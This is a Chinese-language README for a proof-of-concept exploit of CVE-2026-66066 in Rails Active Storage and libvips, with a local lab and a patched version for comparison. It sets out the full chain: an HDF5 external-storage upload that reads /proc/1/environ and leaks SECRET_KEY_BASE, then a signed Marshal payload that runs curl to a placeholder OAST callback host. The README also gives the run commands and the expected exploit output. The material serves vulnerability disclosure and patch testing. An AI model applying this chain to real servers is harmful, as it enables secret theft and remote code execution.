
CVE-2026-66066-POC — 已更新!
PoC for CVE-2026-66066 in Ruby on Rails
CVE-2026-66066 的 PoC - 最小化 stock Rails/libvips 实验环境
本仓库复现了 GHSA-xr9x-r78c-5hrm 所描述的 Rails Active Storage 文件读取到 RCE 攻击链,针对 Rails 8.1.3(受影响的 Rails 8.1 最新版本)进行复现。Rails 8.1.3.1 是已修补的对照组。
请仅在此处所述的一次性本地实验环境中使用。HTTP 驱动拒绝非 loopback 目标(不过修改 Python 代码以对其他目标进行授权测试非常简单)。
严格的目标/攻击者边界
目标是常规的 Rails 应用程序。其最终镜像包含:
- 固定的
ruby:3.4.10-slimDocker 官方镜像; - 由
rails _VERSION_ new生成的应用程序; - Rails 生成的运行时软件包
curl、libjemalloc2、libvips和sqlite3; - Rails 生成的入口点和默认的
./bin/thrust ./bin/rails server命令;以及 - 一个普通的
Upload模型,带有一个 Active Storage 附件、普通的 HTMLnew、create和show操作,以及一个 PNG 图像变体。
它不包含工件构建器、上传工件、漏洞利用驱动、Marshal 构造函数、回调代码、诊断端点、加载器跟踪、自定义启动脚本、目标密钥夹具或仅限漏洞利用的路由。它不设置 VIPS_TRACE、不重新排列进程环境、不覆盖 Active Storage 序列化器,也不配置非默认的图像处理器。
根目录的 .dockerignore 仅将 Dockerfile 和 overlay/ 发送到构建环境。主机端的 Python 脚本和所有生成的工件都被排除在 Docker 构建上下文之外,而不仅仅是省略在最终复制步骤中。
完整的目标覆盖层是五个普通文件:
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb
展示页面使用最小的正常转换:
<%= image_tag @upload.avatar.variant(format: :png) %>
一个未经修改的新 Rails 应用程序没有接受附件的应用程序模型或页面,因此这五个文件是表示该公告中不可信图像上传条件所需的最小应用程序功能。
构建并运行易受攻击的目标
先决条件是 Docker、OpenSSL、Python 3 以及用于工件构建器的 h5py。
在终端 1 中:
./run_lab.sh 8.1.3
该脚本构建 minimal-rails-vips:8.1.3,除非已提供 SECRET_KEY_BASE,否则生成一个临时的 SECRET_KEY_BASE,仅在 127.0.0.1:3000 上发布应用程序,并运行镜像生成的入口点和默认命令。没有源目录或工件被挂载到目标中。
如果端口 3000 已被占用,请选择另一个 loopback 端口而不更改镜像:
HOST_PORT=33020 ./run_lab.sh 8.1.3
在驱动的 --target 中使用相同的端口。
运行组合的构建器和驱动
在终端 2 中:
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback
rails_vips_oast_poc.py 是一次性构建器和 HTTP 驱动。除非提供了 --artifact,否则它会在私有临时目录中构造上传工件,在完整的请求序列期间保留它,并在进程退出时将其删除。它构造两个阶段,而不是解包静态负载:
- 它要求
h5py创建一个带有 512 字节用户块的 MATLAB/HDF5 文件。 - 它创建一个名为
environment的1 × 1024小端uint8数据集。 - 该数据集使用由
/proc/1/environ支持的 HDF5 外部存储,偏移量为零,具有有界的 1,024 字节范围。 - 它添加
MATLAB_class="uint8"并写入 libvips 的matload嗅探器使用的MATLAB 5.0头。 - 其最小的 Ruby Marshal 4.8 写入器构造完整的无符号 OOB 变体图。
- 它附加一个带完整性检查的尾部,其中包含该序列化图和一个包含 OAST URL 及关联 nonce 的小型清单。
嵌入的 RCE 程序固定为 /usr/bin/curl,带有结构化参数数组。它向配置的 OAST URL 执行一次 GET,并仅发送随机的 rails_ghsa_xr9x 关联令牌。它不使用 shell,也不在回调中包含恢复的密钥、命令输出、文件内容或目标标识符。
工件参数为:
--external-path:目标端绝对文件,默认为/proc/1/environ;--bytes:有界外部范围,从 128 到 4096,默认为 1024;--oast:嵌入在负载中的回调基础 URL;以及--nonce:可选的 16 字节十六进制 nonce,用于可重现的工件。
默认的 OAST URL 是 loopback 安全的。请提供一个容器可访问的接收器 URL 以进行端到端检查。
要保留生成的上传工件以供检查或重用,请添加工件路径:
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback \
--artifact environment-read.bmp
现有的 --artifact 会被验证并重用。在这种情况下,如果提供了 --oast,则必须与其嵌入的回调 URL 匹配。添加 --force 以使用当前构建器参数重建并原子替换它。
如需在不发出任何 HTTP 请求的情况下创建工件,仍可使用配套构建器:
python3 build_upload_artifact.py \
--output environment-read.bmp \
--oast https://YOUR-OAST-DOMAIN.example/callback
--target 默认为 http://127.0.0.1:3000,仅限于字面 loopback 或 localhost。
预期的易受攻击输出包括:
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER
将终端中的 oast_nonce 与 OAST 服务收到的 rails_ghsa_xr9x=<nonce> 查询参数进行匹配。最终表示请求返回的 HTTP 500 是预期的:回调发生在经过身份验证的 Marshal Hash 被重建期间,在整体转换随后失败之前。
驱动的作用
构建器部分需要 h5py;HTTP 和加密部分仅使用 Python 的标准库:
- 它构造并验证完整的上传工件和嵌入的无符号 Marshal 图。
- 它通过应用程序的普通 multipart HTML 表单上传一个安全的 PNG,跟随正常的重定向,并从其 `` 元素中提取表示 URL。
- 它使用 Rails 内置的 Active Storage 直接上传端点创建一个声明为
image/bmp的未附加 blob,然后上传构造的字节。 - 它将该有效 blob 的签名 ID 与安全图像中的正常变体键组合,并请求表示。
- 标准的 Debian libvips 选择未模糊化的
matload操作。返回的 PNG 暴露了外部数据集字节,包括运行时SECRET_KEY_BASE。 - 驱动推导出普通的
ActiveStorage验证器密钥,从工件中读取已构造的 Marshal 负载,为variation目的签名,并请求生成的表示 URL。 - 反序列化调用嵌入的
/usr/bin/curl负载并产生盲 OOB 回调。
目标不提供任何辅助端点或签名小工具。序列化图使用的 Ruby 类来自 stock rails new Gemfile 已解析的依赖项;应用程序不需要或配置它们。图像处理在整个过程中保持 Rails 默认的 :vips 处理器。
修补后的差异对比
用 Ctrl-C 停止终端 1,然后运行:
./run_lab.sh 8.1.3.1
重新运行相同的组合驱动命令。如果保留了工件,可以通过传递相同的 --artifact 路径来重用。修补后的结果应停止在:
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=500
不返回任何环境像素,嵌入的负载永远不会被签名或提交,也不会发生 OAST 回调。Active Storage 8.1.3.1 启用了 libvips 的不可信操作块,因此 matload 被拒绝。
验证目标镜像是否干净
最终运行时配置应为生成时的配置:
docker image inspect minimal-rails-vips:8.1.3 \
--format 'entrypoint={{json .Config.Entrypoint}} cmd={{json .Config.Cmd}} user={{json .Config.User}}'
预期:
entrypoint=["/rails/bin/docker-entrypoint"] cmd=["./bin/thrust","./bin/rails","server"] user="1000:1000"
检查唯一的脚本并确认 PoC 文件不存在:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
find /rails/script -maxdepth 2 -type f -print
test ! -e /rails/payloads
test ! -e /rails/payload_builder.c
test ! -e /rails/config/master.key
'
唯一的脚本条目是生成器创建的 /rails/script/.keep。构建工具和可选的镜像 CLI 也不会进入运行时:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
for tool in gcc h5cc vips vipsheader convert magick tesseract; do
command -v "$tool" >/dev/null 2>&1 && echo "unexpected: $tool"
done
'
libvips 作为共享运行时库存在,即使其 CLI 工具未安装。Debian 的标准依赖图提供了链接的 MAT/HDF5 格式支持。
文件
Dockerfile生成并打包最小化的 stock 目标。.dockerignore防止攻击者侧文件进入构建上下文。overlay/仅包含五个正常的 Rails 应用程序文件。run_lab.sh构建并启动目标,而不执行 PoC。rails_vips_oast_poc.py构造 HDF5 文件读取图像和可配置的 OOB 负载,驱动正常的 HTTP 流程,恢复验证器密钥,签名嵌入的负载并触发它。